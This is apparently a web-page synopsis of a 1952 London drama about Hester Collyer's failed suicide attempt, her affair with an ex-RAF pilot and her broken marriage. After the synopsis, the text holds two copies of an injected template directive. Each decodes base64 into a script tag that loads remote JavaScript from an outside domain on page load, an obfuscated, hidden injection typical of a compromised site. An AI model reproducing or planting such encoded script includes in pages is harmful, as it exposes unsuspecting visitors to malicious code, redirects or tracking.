简介:A flat in Ladbroke Grove, West London. 1952. When Hester Collyer is found by her neighbours in the aftermath of a failed suicide attempt, the story of her tempestuous affair with a former RAF pilot and the breakdown of her marriage to a High Court judge begins to emerge. With it comes a portrait of need, loneliness and long-repressed passion. Behind the fragile veneer of post-war civility burns a brutal sense of loss and longing.{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}.
